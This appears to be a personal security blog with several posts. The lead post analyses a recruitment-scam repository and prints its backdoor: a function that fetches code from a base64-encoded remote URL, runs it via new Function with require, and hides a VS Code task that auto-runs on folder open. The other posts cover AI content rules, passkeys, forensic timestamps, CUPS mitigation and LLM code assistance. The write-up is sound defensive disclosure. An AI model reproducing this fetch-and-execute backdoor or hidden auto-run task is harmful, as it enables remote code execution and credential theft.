Posted on
by

TLDR; I had the “opportunity” to interact with a recruitment scammer and test their “code base” using the software reliability and security tool called Vulture which I am building. This post discusses the encounter, successful analysis and detection of the codebase with my tool and a discussion of the codebase with the backdoor.

Shout-out : Beware of job offers/business/partnership proposals do research. Never download/clone/run unknown software or source code on your computers.

The Recruitment scammer

The sophisticated “recruitment” scams offering payment is a new trend which is becoming common place now. I had previously written about such scams in Malicious source code shared via job offers/business offers

Now these scams have become well orchestrated and the latest one came with a well crafted document, pointed to a genuine project and shared a Calendly link to schedule a meeting – I setup meeting. Scrambled to setup a Quebs OS environment. From the previous incidents I anticipated a code repo to be shared with either hidden git hooks or Python or Node codebase with backdoor.

The bait.

The call was scheduled via Google meet. The scammer spoke with a distinct accent, probably South East Asian and struggled to convey the ideas. He quickly navigated to their project and shared a Codeberg.org link and explained this is some sort of AI driven trading simulation platform. I quickly browsed through the repository in the browser. One config.js looked odd but I missed out the rest. He asked me to share the screen (yes, full screen) and try to load the code base in VSCode. I tried to explain that I don’t use VScode and use another editor. The scammer was thoroughly unhappy about this for sure! After a moment or two of silence he asked me to reachout via linkedin once I have the VScode. I did reach-out via Linkedin and patiently waiting now 🙂

The Codebase

It was clear that the backdoor involves the .vscode folder. I cloned the codebase to a throwaway Quebes OS VM and inspected. Apart from the a suspicious looking config.js and a password it was not easy to find the backdoor in the codebase. Since I am not familiar with the VSCode functionality, I fired up vulture’s CWE agent.

Figure 1 : codebase with the backdoor

The Proud moment

I must admit that I was proud when Vulture dutifully came back with the report,

Figure 2: Vulture reporting Malicious auto-executing VS Code task runs hidden arbitrary code on folder open

I decided to do a second pass with CWE and OWAP agents and the results were better this time:

    ⚠ Finding [MEDIUM]: Workspace settings hide the .vscode folder (containing the malicious tasks.json) from the file explorer
    ⚠ Finding [MEDIUM]: Task command is disguised as a Node REPL welcome banner to deceive the user
    ⚠ Finding [MEDIUM]: Task presentation settings suppress all visible evidence of execution

What does the code do ?

Step 1:

Once unsuspecting end user opens the code in VScode, it automatically triggers `npm install and npm start” – essentially installs the booby trapped codebase. To hide the process and deceive the user a welcome message via REPL welcome banner is shown as well.

Vulture’s report says:

The file tasks.json is configured to run automatically whenever the workspace folder is opened (“runOn”: “folderOpen”). Its command first prints a decoy Node.js REPL welcome banner (node -e “console.log(‘Welcome to Node.js v24.11.0…’)”), then silently installs dependencies (npm install -s) and starts the project (npm start). The presentation block (“reveal”: “never”, “echo”: false, “focus”: false, “showReuseMessage”: false, “close”: true) and the problemMatcher (“activeOnStart”: true, “endsPattern”: “Nexa simulator server listening|webpack compiled”) are used to conceal the execution from the developer and keep the background task alive. This is a textbook malicious-repo / supply-chain attack: merely opening the folder in VS Code triggers arbitrary code execution (via npm install lifecycle scripts and npm start) with no user consent, and the activity is deliberately hidden. This is embedded malicious code (CWE-506) that also amounts to code injection / arbitrary code execution (CWE-94) and inclusion of functionality from an untrusted control sphere (CWE-829).

Step 2:

Once user runs the code, either opening via VScode or running it, seemingly innocent file sends the local computer’s environment variables to a remote URL – an application hosted on Vercel. The remote URL is base64 encoded and present in the code. The application opens up a remote code execution environment. Once the machine is finger printed, the victim gets unique victim id (obviously for internal quality assurance purposes!). Now that there is a remote execution environment, the stage two starts from a separate OVH hosted server. The stage 2 payload is the actual operator who then tries to exfiltrates the entire environment using processInfo : JSON.stringify(process.env) . This payload then waits for further command from the remote command command control server.

The RCE environment comes completed with a command to terminate itself with a remote command that reads: “crash the bad guys“

The step 3 and beyond are unknown and I am not sure what could be delivered beyond the step 2.

Vulture’s report:

## [CRITICAL] Remote code execution via new Function on untrusted HTTP response

| Field | Value |
|-------|-------|
| Severity | critical |
| Category | CWE-94 |
| File | `server/controllers/auth.js:80-83` |
| Agent | CWE |
| Audit | 52bd5984-55e9-c89f-ce89-e4dc36313561 |

### Description
The module executes arbitrary JavaScript returned by a remote endpoint. `validateApiKey()` (called at module load on line 27) POSTs to a base64-encoded URL (`BASE64_URL_REDACTED` decodes to `https://REDACTED.vercel.app/api`) and then runs the response body as a function body with `require` injected as an argument: `new Function("require", response.data); executor(require);`. This gives a remote attacker full control of the Node.js process (arbitrary code execution, filesystem access, credential theft). The surrounding 'mempool scan' comment is a red herring — this is a paper-trading simulator with no mempool functionality, indicating injected malicious code. This is a persistent backdoor that fires on every server start.

### Code
```
70:         res.json({ token });
71:       },
72:     );
73:   } catch (err) {
74:     console.error(err.message);
75:     res.status(500).json({ msg: 'Internal server error' });
76:   }
77: };
78: 
79: async function validateApiKey() {
80:   verify(setApiKey("BASE64_URL_REDACTED"))
81:     .then((response) => {
82:       const executor = new Function("require", response.data);
83:       executor(require);
84:       console.log("API Key verified successfully.");
85:       return true;
86:     })
87:     .catch((err) => {
88:       console.log("API Key verification failed:", err);
89:       return false;
90:     });
91: }
92: 
93: const getCurrentUser = async (req, res) => {
```

### Recommendation
Remove the entire `setApiKey`/`verify`/`validateApiKey` block and the top-level `validateApiKey()` invocation. Never execute data received over the network. If an external API check is genuinely required, validate the response against a strict schema and never pass it to `new Function`, `eval`, or `Function`. Audit the repository history and CI/CD pipeline for how this code was introduced, and rotate all credentials that were reachable from this process.

Vulture

Vulture is a software reliability and security tool which uses agentic audits with a shift left philosophy. The core idea is catch reliability and security issues during the the software development cycle and not as an after thought. Vulture is developed in open and over the period last 2 months, I have been increasing its accuracy by removing the false positives in the deterministic layer and optimizing the LLM based validation. I was preparing release 0.0.19 by running tests against Google Gemini 2.5 Flash and Qwen 3.8 27B on my local LM Studio setup. My test targets have been various projects my teams are working on and the incredible OWASP Juice Shop – the stack used for security trainings and Capture the Flags (CTF). Its at this point that I was presented with the opportunity of this new codebase with enough vulnerabilities ! I must admit that the scammers code base has helped to ensure the quality of the latest release 😉

The latest release of Vulture is here

Posted on
by

I have been working on a tool called Vulture for past few months. This was derived out of urgent need to ensure reliable software development is still possible in an where era code is generated & not written. Since the roll out and transition to agentic, LLM driven software development workflows, the lines of code and the DORA metrics from multiple product teams had dramatic & drastic patterns. While the lines of code is not exactly a metric that we track anymore, the increase was alarming and combined with the new features shipped, this raised questions on reliability. We switched terms from Vibe Coding to Context engineering and introduced quality gates but the fact remained the same that the amount of code getting generated huge. Its impossible review or test it throughly.

A while ago, I had faced a malware infection which was sophisticated and well orchestrated with numerous attack vectors tried one after another and simultaneously sharing whatever credentials available for profit. It was relentless, result driven and intelligent. This made a clear indication of what’s coming – any software that has the simplest loop holes will be exploited much more easily than ever.

Software reliability and security are two areas that wanted immediate attention & this was uncharted waters. Historically we have heard about software development timelines slipped, engineers struggling to deliver – suddenly all that flipped. Product Managers, Designers & DevSecOps suddenly become the only thing standing between developers and features. 

Introduction of guard rails by better reviews, tooling, shifting the workflow to left (Shift Left, Proofs) meticulously is the only way to ensure secure and reliable software. 

Beyond the deadlines and features, there is a basic requirement any system needs to meet – reliability.

Vulture is born out of this necessity. 

Vulture’s Claws

Audits of the code base, deep discovery of endpoints, a final verification of the findings in a multi phase agentic workflow inspired by the Claws philosophy drives Vulture. Vulture can work with any LLM irrespective of local or remote. Each iteration learns more about the source and vulnerabilities and avoids redundant work & saves precious tokens. Vulture has a plugin architecture allowing it to orchestrate external tools and frameworks.  The phase transitions are validated with Isabella proof assistant and verified against dummy targets to ensure correctness – a tall claim, but there is more to follow.

Vulture in action:

(Figure 1 : A sample scan report)

(Figure 2: Verification of reported findings against an environment.)
(Figure 3: Vulture agents connected to Qwen3.5 35B running locally )
[Figure 4: Audit report]

The next steps involve planning integration with CI/CD in a seamless manner and track the issues reports accurately and make it available with the developers to act and remediate the issues. Right now Vulture remains private and perhaps making it public is an option to be investigated as well.

Posted on
by

Introduction

India has taken the first step towards guiding its citizens, policy makers and businesses to regulate and manage the new era of opportunities opened up by the generative AI based innovations. We have been working hard to promote innovation, promote our artists and protect our citizens from the threats of misinformation and fake news. The new guidelines are expected to provide the foundations to define our success in navigating the fast paced technological landscape. As the very first definition of an emerging technological innovation, the definitions and the procedures established in the Digital Media Ethics Code will be widely referenced and used in other areas of policy making and thus has the utmost importance. 

Expectations

Complete, non-ambiguous definition of the content being handled, establish context  and standard operating procedures for content creators, users, advertisers, content creation tools, social media intermediaries and enforcement. 

  1. Establishes simple guidelines for the non-tech savvy consumers and users
  2. Freedom of expression and the Rights of the artist creating the content are given utmost importance
  3. Technical accuracy and clear definition of procedures is established

The definition

“(wa) ‘synthetically generated information’ means information which is artificially or algorithmically created, generated, modified or altered using a computer resource, in a manner that such information reasonably appears to be authentic or true;”

Terms used:

Algorithmically [Terms], expanded in the table below:

Procedures

The procedures must be invoked by various personas namely, creator, Tools or platforms used for content creation, 

  1. Content Creator

The artist, aka content creator is the most important person in the room and decides the idea and intention behind the content, plans and decides the creation of the tool and is in the position to adequately categorize the content.

No definition, guidelines or procedures are provided for the original content creator. This means creative artists, photographers, editors and similar professionals who might be in a better position to provide accurate categorization of the synthetic content are not considered in the process. This gap combined with the lack of clarity in the definition regarding photographs or videos edited with a computer resource, Computer Generated Imagery (CGI) etc creates a huge difficulty in establishing well defined categorization of content. 

The lack of clarity might adversely impact the creative individual whose content might be incorrectly labelled as “synthetic content” . The artists are creators who are the least powerful and most vulnerable category whose rights must be protected and are left out at the mercy of powerful platforms.

Questions:

  1. Is a photograph “modified” with an image editor and “reasonably appears to be authentic or true” Synthetic Content ?
  2. An image or video, which “reasonably appears to be authentic or true” created using a computer resource” Similar to Tigers used in Oscar winning movies like RRR & Life of a Pi falls under the definition of “Synthetic Content” ?

2. Intermediary offering Generation of Content

    The procedure itself is well defined for the platform offering content generation services however the practical implications seems to be missed out.  Categorization who exactly falls under the category of content creation or which content falls under the category is also unclear due to the lack of completeness and ambiguity in the original definition of synthetic content. 

Few practical scenarios & Questions:

  1. A platform offers end to end Computer Generated Imagery (CGI)  as a service which doesn’t use Generative AI (LLM) technology. Do they classify as “intermediary” under the definition of intermediary offering generative content ?
  2. End to End music generation platforms will be required to insert a 10% message to a one hour long music its computer systems generate ?
  3. In the case of movies and commercials created with CGI the same procedures apply ?
  4. In the case of full length movies and video content, the 10% visual notice needs to be shown during the entire duration of the video ?

3. Intermediary hosting & publishing

The procedure for the intermediary doesn’t include a Standard Operating Procedure (SOP) & Acceptable minimal standards. This combined with the ambiguity in the definition of synthetic content, creates huge challenges for the intermediary to categories and introduce procedures to detect objectionable content and derive upon actionable conclusions.

Conclusion

Rather than considering the challenge in a silo, a holistic approach is needed to assess the impact on entire industries like media and advertising, startup eco-system, business processes and needs to come up with a comprehensive plan to establish regulations. The definition of the new type of content category must be non-ambiguous, complete and context free to be used across different scenarios and industries. The guardrails must be empowering startups, innovation and must take care of the rights of content creators. 

Recommendations

  1. Concerns, Rights & Freedom of expression of artists must given utmost importance in defining the content categories and process
  2. Complete, non-ambiguous definition of technical terminology and context must be established
  3. In the case of intermediaries, well defined standard operating procedures must be established with participation from the subject matter experts and industry participation. Precedence is established in Re: Prajjwala for industry participation.

References & Terms

  1. https://web.archive.org/web/20251110072231/https://www.meity.gov.in/static/uploads/2025/10/9de47fb06522b9e40a61e4731bc7de51.pdf
  2. CGI: https://en.wikipedia.org/wiki/Computer-generated_imagery
  3. Generative Artificial Intelligence: https://csrc.nist.gov/glossary/term/generative_artificial_intelligence
  4. Re: Prajjwala https://wilmap.stanford.edu/entries/re-prajwala

Posted on
by

Now that generative AI has found one of its major use cases in the software development workflow new tools are entering the market every week. Every SaaS product seems to be adding MCP servers and publishing them. That’s a topic needing another post ! Code editors are added AI support at various levels. Zed Editor even took the step to add a flag to disable AI completely!

Editors and plugins are running in sandboxes and it provides some level of security. But browser access, CLI access etc are still possible, supply chain attacks on the MCP plugins added to the editors can introduce bugs. And then there are AI hallucinations or mistakes that alters the file system. With developer machines often possessing SSH keys and similar information, we are indeed in uncharted waters.

How Typos are handled ?

I have got Cline with Puppeteer MCP installed in VS code. In the instructions to Cline, used the spelling pupetteer & Cline happily passed this on to Claude Sonnet 4 and needless to say a the MCP was promptly invoked, followed by Chrome and browsing started. (Obviously, It asked me for permission).

Needless to say, this is the first time development environments have become “stupid” enough to hallucinate & decide actions by its own.

Where do we go from here ?

Make sure to isolate the development environments and use known MCP servers and plugins with the IDE. Watchout for Supply chain attacks.

Stay Safe!

Posted on
by

Passkey’s are a new brand name for WebAuthn + CTAP2 from FIDO2 standards. The underlying technology uses FIDO2 compliant Public key Cryptography targeted for Web applications. Passkey makes the FIDO2 authentication method only available to people using hardware devices like Yubikeys available to everyone by making mobile phones and popular OSes supporting storage and syncing of the private keys used for authentication. 

Some keywords to quickly understand the technology:

WebAuthn/FIDO2 = Passkey

Discoverable Credential or discoverable WebAuthn/FIDO2 Credential = Passkey

FIDO2 devices and Passkeys generates Public – Private key pairs and then stores the private key securely. The public key is stored by a FIDO2 complaint backend service which then allows authentication. When a user wants to access a website in a computer using Passkeys, assuming the user has previously signed up using a mobile device, then the browser requests the mobile device to authenticate on behalf of the browser. Such communication between mobile devices and computers uses CTAP2 and the transport protocol is Bluetooth in the case of mobile devices (Both iOS and Android). In the case of devices like NFC rings, the transport protocol is replaced with NFC.

What is FIDO2 ?

Fast Identity Online (FIDO) is standard to handle password less authentication on mobile devices, web browsers and in operating systems. 

FIDO2 handles:

  • Authentication
  • Registration

What is WebAuthn ?

W3C standard for web authentication supported by major browsers. WebAuthn makes it possible to use websites using the FIDO2 authentication method.

What is CTAP2 ?

Client to Authenticator Protocol – Establishes connection with an external authenticator like a Mobile phone, Security key etc.

The underlying transport for CTAP is : NFC, USB HID, Bluetooth (smart and BLE)

Passkeys vs YubiKey

Copyable, Syncable, Sharable, Multi Device FIDO2/WebAuthn keys

Incorporating Passkey 

For incorporating Passkey, we would need support for the technology, ie authentication in the frontend and a back-end server which is FIDO2 complaint. The back-end system essentially stores Public keys corresponding to a device’s passkey and uses the same to process authentication requests it receives from Authenticators like Mobile devices or dedicated Multi Factor tools like YubiKey.

In a nutshell, any application wanting to provide support for Passkey must incorporate frontend support and use a backend. Popular services like Auth0 are already offering Passkey support.

Blockchains and Passkey

Since blockchains and Passkey’s are using Public Key encryption scheme, one obvious questions is whether it’s possible to use Passkey to access blockchains. Additionally is it possible to use Passkey with a popular Ethereum wallet like Metamask ?

The answer to this question is depends on the type of Encryption Algorithm, mostly Elliptic Curve used in generation of the keys in Passkeys (WebAuthn) and in the blockchains.

FIDO2 uses NIST FIPS 186-4 mentioned the Elliptic Curves mentioned in “Appendix D: Recommended Elliptic Curves for Federal Government Use” . secp256r1 aka NIST P-256 is suggested but Chains like Ethereum and Bitcoin uses secp256k1. EOSIO blockchain on the other hand added support for secp256r1.

Polkadot blockchain uses Schnorrkel signature scheme and the Curve25519 which are relatively new and not yet included in the NIST or FIDO2 specifications.

References

  1. https://www.yubico.com/blog/a-yubico-faq-about-passkeys/
  2. https://ethereum.stackexchange.com/questions/82530/why-ethereum-based-dapps-dont-use-webauthn
  3. EOSIO support for secp256r1 :  https://web.archive.org/web/20230509092832/https://github.com/EOSIO/eos/pull/7421 & https://web.archive.org/web/20230508180031/https://github.com/Gimly-Blockchain/eosio-did-spec/issues/5
  4. Safe Curves : https://web.archive.org/web/20230423144205/https://safecurves.cr.yp.to/
  5. End user doc https://fidoalliance.org/how-fido-works/
  6. Awesome Webauthn: https://github.com/herrjemand/awesome-webauthn
  7. Encrypting data with a WebAuthn https://blog.millerti.me/2023/01/22/encrypting-data-in-the-browser-using-webauthn/
  8. largeBlob : https://stackoverflow.com/questions/74705538/webauthn-api-ignores-most-extensions-largeblob
  9. credBlob https://github.com/w3c/webauthn/issues/1613
  10. https://lists.webkit.org/pipermail/webkit-dev/2021-March/031755.html

Posted on
by

In a session about digital forensics, we happen to discuss about timestamps used in the case of digital forensic and it immediately captured my attention.

I had few questions & thought of write them down.

  • How is time captured
  • What is the official source of time ?
  • Bharathiya Nagarik Suraksha Sanhita (BNSS) suggests the use of mobile phone to record the search and seizure procedure – Which NTP servers they are to be connected at the time of recording the videos ?
  • BSA allows digital evidence
  • evidence captured has wrong timestamp

Time in connected devices

Computers and mobile phones and most of the devices connected to the internet receives time from the local ISP or via time synchronization servers operated by companies is like Apple, Microsoft etc. The Network Time Servers (NTP) are not always reliable.

[ An example of issue with time servers ]

CERT-IN and related organizations are given directions to use certain specific NTP servers as described in the FAQs.

Is it required to synchronise clocks only with NTP Servers of NPL and NIC?
Is it now required to set system clocks in Indian Standard Time (IST) only?
Ans.: The requirement of synchronising time is stipulated to ensure that only standard
time facilities are used across all entities. Organisations may use accurate and standard
time source other than National Physical Laboratory (NPL) and National Informatics
Centre (NIC) as long as the accuracy of time is maintained by ensuring that the time
source used conforms to time provided by NTP Servers of NPL and NIC.

Wrong time

Incorrect time in digital devices like mobile phones or computers will result wrong time stamps in artifacts. They can be:

  • Wrong file creation timestamps
  • Wrong access or modification timestamp
  • Metadata of photos/videos ends up with wrong timestamp
  • Log files created may have wrong timestamps

Evidence or other data without correct time stamps can put time and thus related events in the past or future.

Creating a computing device in the past

Simple cases like clock skews or BIOS batteries not working are known and perhaps the Standard Operating procedures existing to account for such cases. External anchors can be used to detect clock skews and find correct timeline. However there can be interesting scenarios that can be investigated.

  • Boot a device from an older version of Operating System
  • Use a LiveCD or USB device
  • Make sure there is no BIOS battery
  • Change MAC Addresses of the device or arbitrary numbers before connecting to network
  • Disable NTP

I am not being specific or being elaborate for specific reasons but I hope we are very serious about “time” !

Posted on
by

Over the last 3 months or so I have been receiving emails or Linkedin messages that generally talks about needing help with a software project. Initial emails simply shared a link to a bitbucket code base and requested to help with it. The profiles involved were all new Harvard educated individuals and easy to identity as scam.

The recent ones are bit more creative and are from Linkedin profiles which are much more believable with recommendations and long history.

Unlike the initial contacts who shared various code bases in Python or NodeJS in the first day itself, latest messages follows a multi day initiative.

On the third day, I got the code base and this time they also have a functional specification !

What’s in the code ?

The code provided seems to be slightly changed boilerplate code (LLMed ?) in React or Javascript with instructions to run locally. Somewhere in the code base there is an encoded function which is either loaded from an external URL or in one of the source files like the first screen shot in the image.

Encoded malicious code being fetched from an external URL
Typescript codebase with encoded malicious code

I took pains to use a secure environment to run the first of the lot which was attempting to access a blockchain wallet. The latest ones looks to be different and attempting to download external code. (Needs further verification.)

In any case, if you happen to get emails/messages requesting help with some code base and access to code, be careful and ignore if you are not sure about what its all about. Do not run the code on your computers!

Posted on
by

For the past few days a high severity vulnerability impacting multiple GNU/Linux distributions is going around and as expected, this is from the CUPS printing stack.

Details can be found here www.evilsocket.net

Steps for ensuring your Debian GNU/Linux is not impacted

Check for cups-browsed with: systemctl status cups-browsed

root@host:~# systemctl status cups-browsed

cups-browsed.service
  Loaded: not-found (Reason: No such file or directory)
  Active: inactive (dead)


Lets scan the port sudo nmap localhost -p 631 --script cups-info

One scan gave a core dump ?

root@host:~# sudo nmap localhost -p 631 --script cups-info

Starting Nmap 7.01 ( https://nmap.org ) at 2024-09-27 11:40 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
nmap: timing.cc:710: bool ScanProgressMeter::printStats(double, const timeval*): Assertion `ltime' failed.
Aborted (core dumped)

But the port itself is closed

Starting Nmap 7.01 ( https://nmap.org ) at 2024-09-27 11:45 UTC
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000054s latency).
PORT    STATE  SERVICE
631/tcp closed ipp

Inspect the installed packages:

apt list --installed | egrep '(cups-browsed|libcupsfilters|libppd|cups-filters|ipp)'

libcupsfilters1/xenial-infra-security,now 1.8.3-2ubuntu3.5+esm1 amd64 [installed,automatic]

Loo for cups related packages: apt list --installed | grep cups

libcups2/xenial-infra-security,now 2.1.3-4ubuntu0.11+esm7 amd64 [installed,automatic]
libcupsfilters1/xenial-infra-security,now 1.8.3-2ubuntu3.5+esm1 amd64 [installed,automatic]
libcupsimage2/xenial-infra-security,now 2.1.3-4ubuntu0.11+esm7 amd64 [installed]

Disable & remove the services:

If the printing and document management is not used on the server, delete the related packages as follows.

apt remove libcups2 libcupsfilters1 libcupsfilters1 libcupsimage2 cups-browsed

These steps will make sure that the usually high severity (9.1) rated vulnerabilities are removed from the servers.

Posted on
by
Querying the Error log

Context

Over a period of last two weeks I found myself in multiple discussions regarding LLMs, AI, Microsoft Co Pliot and its use cases with individuals in academia to Software Sales. I ended up investigating about a code base for Signal.org last week and I took help of a LLM based tool to speed up discovery. I thought its a good idea to document what I was doing as it will help to showcase use cases considering the hype around the technology and perhaps help someone.

Task at hand

Signal is an opensource communication tool which is arguably one of the most secure messing tools available. In this case I wanted to investigate whether Signal can be used for a secure private communication requirement where the software including the back-end Instant message Server, Android and Web clients should be running in a self hosted environment.

Typically when we investigate a software like this, its possible to read the reviews, follow documentation, instructions etc. But Signal comes with no documentation whatsoever as the purpose of the software is not be used as a self hosted solution by the looks of it. That means the investigation will involve studying the code to understand the underlying technologies, dependant services, dependencies on any third party products etc. The server software was written Java and my expectation was an FOSS database like PostgreSQL, a caching layer and a message queue will be involved in addition to Google’s FCM and Apple push notification services.

I fired up Visual Studio Code with AI Coding assistant Cody. This tool has handful of LLMs but in free version I have Claude 3.5 Sonnet available. After browsing through the code, I could query the code base with the help of the code assistant.

The tool was able to provide a good summary of the codebase including the technologies being used. The biggest surprise was the mention of Amazon DynamoDB instead of a FOSS database. And it quickly helped to reach the conclusion that setting up the service in a self hosted environment may not as very easy. After looking into the codebase little deeper it was quite clear the software is using AWS Java SDK and heavily reliant on DynamoDB. As demonstrated here, we could identify one of the biggest dependencies for setting up the software in few minutes with the help of an LLM tool.

After having a high level idea of the project, I decided to look into the tests that’s a place to find fine grained details about the (any) project. I was able to quickly run tests & found errors in the logs. Usually such errors takes time to decipher and needs deep understanding of the stack involved.

But this time , I turned to the force:

It took 2 queries against the error log to identify the root cause of the error and the service the source code was expecting.

I could address the dependency in no time. Its important to note that I had never came across this particular dependency (statsd) and even then I could find my way around in less than 10 minutes.

Progress

In a matter of few hours a high-level listing of the dependencies and overview of the code base completed. The LLM was not able to help with queries like finding a FOSS alternative for Amazon DyanamoDB API but it fared really well when presented with various errors. Obviously it failed in listing all the important functionality and dependencies as well.

(The Cody Code Assistant was able to support with numerous run time errors along the way)

At end of few hours the following was achieved:

  • High level understanding of code base
  • A list of dependencies
  • Surprisingly good support when it comes to parsing errors and providing feedback

While the Code assistant failed listing out details like VoIP services, extensive use of certain technologies like GRPC, overall the support provided in nagging the code base for the initial assessment was commendable.

Summary

The LLM technology when effectively used can be used to assist in myriad of tasks. Code assistants are generating queryable environments based on the code & are very efficient. In this given example, the productivity gain is clearly visible as tasks like understanding an error log which could end up taking a long time and often collaboration of multiple engineers was handled in a matter of minutes. For tasks where the tool was asked to analysis already existing data like error logs it performed really well. There are numerous tools getting introduced now which claims to assist in software development to perform end-to-end software development but review of such tools are beyond the scope of this post. The LLM based tools are matured enough of support software development and provide tangible productivity boost when used efficiently.